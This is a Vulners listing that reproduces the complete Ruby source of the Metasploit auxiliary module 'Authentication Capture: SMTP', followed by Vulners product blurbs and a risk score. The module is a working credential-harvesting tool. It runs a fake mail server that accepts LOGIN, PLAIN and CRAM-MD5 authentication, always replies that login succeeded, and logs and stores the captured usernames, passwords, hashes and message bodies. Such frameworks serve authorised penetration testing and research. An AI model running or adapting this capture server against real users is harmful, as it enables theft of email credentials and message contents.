Lucene search
K

Authentication Capture: SMTP

🗓️ 18 Aug 2010 00:58:20Reported by ddz <[email protected]>, hdm <[email protected]>, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 75 Views

Authentication Capture: SMTP module providing a fake SMTP service designed to capture authentication credentials

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::TcpServer
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name' => 'Authentication Capture: SMTP',
      'Description' => %q{
        This module provides a fake SMTP service that
      is designed to capture authentication credentials.
      },
      'Author' => ['ddz', 'hdm', 'h00die'],
      'License' => MSF_LICENSE,
      'Actions' => [
        [ 'Capture', { 'Description' => 'Run SMTP capture server' } ]
      ],
      'PassiveActions' => [
        'Capture'
      ],
      'DefaultAction' => 'Capture',
      'References' => [
        [ 'URL', 'https://www.samlogic.net/articles/smtp-commands-reference-auth.htm' ],
        [ 'URL', 'https://datatracker.ietf.org/doc/html/rfc5321' ],
        [ 'URL', 'http://fehcom.de/qmail/smtpauth.html' ]
      ],
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 25 ]),
        OptBool.new('AUTHPROMPT', [ true, 'Require authentication from clients', false ])
      ]
    )
  end

  def setup
    super
    @state = {}
  end

  def run
    exploit
  end

  def auth_plain_parser(data)
    # this data is \00 delimited, and has 3 fields: un\00un\00\pass.  Not sure why a double username, but we drop the first one
    data = Rex::Text.decode_base64(data).split("\00")
    data = data.drop(1)

    # if only a username is submitted, it will appear as \00un\00
    # we already cut off the empty username, so now we want to add on the empty password
    if data.length == 1
      data << ''
    end
    data
  end

  def on_client_connect(client)
    @state[client] = { name: "#{client.peerhost}:#{client.peerport}", ip: client.peerhost, port: client.peerport, user: nil, pass: nil }
    client.put "220 SMTP Server Ready\r\n"
  end

  def on_client_data(client)
    data = client.get_once
    return if !data

    print_status("SMTP: #{@state[client][:name]} Command: #{data.strip}")

    if (@state[client][:data_mode])
      @state[client][:data_buff] ||= ''
      @state[client][:data_buff] += data

      idx = @state[client][:data_buff].index("\r\n.\r\n")
      if data.include? "RSET\r\n"
        idx = @state[client][:data_buff].index("RSET\r\n")
      end
      if idx
        report_note(
          host: @state[client][:ip],
          type: 'smtp_message',
          data: @state[client][:data_buff][0, idx]
        )
        @state[client][:data_buff][0, idx].split("\n").each do |line|
          print_status("SMTP: #{@state[client][:name]} EMAIL: #{line.strip}")
        end

        @state[client][:data_buff] = nil
        @state[client][:data_mode] = nil
        client.put "250 OK\r\n"
      end

      return
    end

    if (@state[client][:auth_login])
      if @state[client][:user].nil?
        @state[client][:user] = Rex::Text.decode_base64(data)
        client.put "334 #{Rex::Text.encode_base64('Password')}\r\n"
        return
      end
      @state[client][:pass] = Rex::Text.decode_base64(data)
      print_good("SMTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}")
      report_cred(
        ip: @state[client][:ip],
        port: datastore['SRVPORT'],
        service_name: 'smtp',
        user: @state[client][:user],
        password: @state[client][:pass],
        proof: data # will be base64 encoded, but its proof...
      )
      @state[client][:auth_login] = nil
      client.put "235 2.7.0 Authentication successful\r\n"
      return
    end

    if (@state[client][:auth_plain])
      # this data is \00 delimited, and has 3 fields: un\00un\00\pass.  Not sure why a double username
      un_pass = auth_plain_parser data

      @state[client][:user] = un_pass.first
      @state[client][:pass] = un_pass.last
      print_good("SMTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}")
      report_cred(
        ip: @state[client][:ip],
        port: datastore['SRVPORT'],
        service_name: 'smtp',
        user: @state[client][:user],
        password: @state[client][:pass],
        proof: data # will be base64 encoded, but its proof...
      )
      @state[client][:auth_plain] = nil
      client.put "235 2.7.0 Authentication successful\r\n"
      return
    end

    if (@state[client][:auth_cram])
      # data is <username><space><digest aka hash>
      decoded = Rex::Text.decode_base64(data).split(' ')
      @state[client][:user] = decoded.first
      # challenge # response
      @state[client][:pass] = "#{@state[client][:auth_cram_challenge]}##{decoded.last}"
      report_cred(
        ip: @state[client][:ip],
        port: datastore['SRVPORT'],
        service_name: 'smtp',
        user: @state[client][:user],
        password: @state[client][:pass],
        proof: data, # will be base64 encoded, but its proof...
        type: 'cram'
      )
      client.put "235 2.7.0 Authentication successful\r\n"
      print_good("SMTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}")
      @state[client][:auth_cram_challenge] = nil
      @state[client][:auth_cram] = nil
      return
    end

    cmd, arg = data.strip.split(/\s+/, 2)
    arg ||= ''

    case cmd.upcase
    when 'HELO', 'EHLO'
      if datastore['AUTHPROMPT']
        client.put "250 AUTH LOGIN PLAIN\r\n"
      else
        client.put "250 OK\r\n"
      end
      return

    when 'MAIL'
      _, from = data.strip.split(':', 2)
      @state[client][:from] = from.strip
      client.put "250 OK\r\n"
      return

    when 'RCPT'
      _, targ = data.strip.split(':', 2)
      @state[client][:rcpt] = targ.strip
      client.put "250 OK\r\n"
      return

    when 'DATA'
      @state[client][:data_mode] = true
      client.put "354 Send message content; end with <CRLF>.<CRLF>\r\n"
      return

    when 'QUIT'
      client.put "221 OK\r\n"
      return

    when 'PASS'

      @state[client][:pass] = arg

      report_cred(
        ip: @state[client][:ip],
        port: datastore['SRVPORT'],
        service_name: 'pop3',
        user: @state[client][:user],
        password: @state[client][:pass],
        proof: arg
      )
      print_good("SMTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}")
      return

    when 'AUTH'
      if arg == 'LOGIN'
        @state[client][:auth_login] = true
        client.put "334 #{Rex::Text.encode_base64('Username')}\r\n"
        return
      elsif arg.split(' ').first == 'PLAIN'
        if arg.include? ' ' # the creds are passed as well
          un_pass = auth_plain_parser arg.split(' ').last

          @state[client][:user] = un_pass.first
          @state[client][:pass] = un_pass.last
          print_good("SMTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}")
          report_cred(
            ip: @state[client][:ip],
            port: datastore['SRVPORT'],
            service_name: 'smtp',
            user: @state[client][:user],
            password: @state[client][:pass],
            proof: data # will be base64 encoded, but its proof...
          )
          client.put "235 2.7.0 Authentication successful\r\n"
          return
        end
        @state[client][:auth_plain] = true
        client.put "334\r\n"
        return
      elsif arg == 'CRAM-MD5'
        # create and send challenge
        challenge = "<#{Rex::Text.rand_text_numeric(9..12)}@#{datastore['SRVHOST']}>"
        client.put "334 #{Rex::Text.encode_base64(challenge)}\r\n"
        @state[client][:auth_cram] = true
        @state[client][:auth_cram_challenge] = challenge
        return
      end
      # some other auth we dont understand
      vprint_error("Unknown authentication type string: #{arg}")
      client.put "503 Server Error\r\n"
    else
      vprint_error("Unknown command: #{arg}")
    end
    client.put "503 Server Error\r\n"
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    if opts[:type] == 'cram'
      credential_data = {
        origin_type: :service,
        module_fullname: fullname,
        username: opts[:user],
        private_data: opts[:password],
        private_type: :nonreplayable_hash,
        jtr_format: Metasploit::Framework::Hashes.identify_hash(opts[:password])
      }.merge(service_data)
    else
      credential_data = {
        origin_type: :service,
        module_fullname: fullname,
        username: opts[:user],
        private_data: opts[:password],
        private_type: :password
      }.merge(service_data)
    end

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def on_client_close(client)
    @state.delete(client)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2024 20:02Current
7.5High risk
Vulners AI Score7.5
75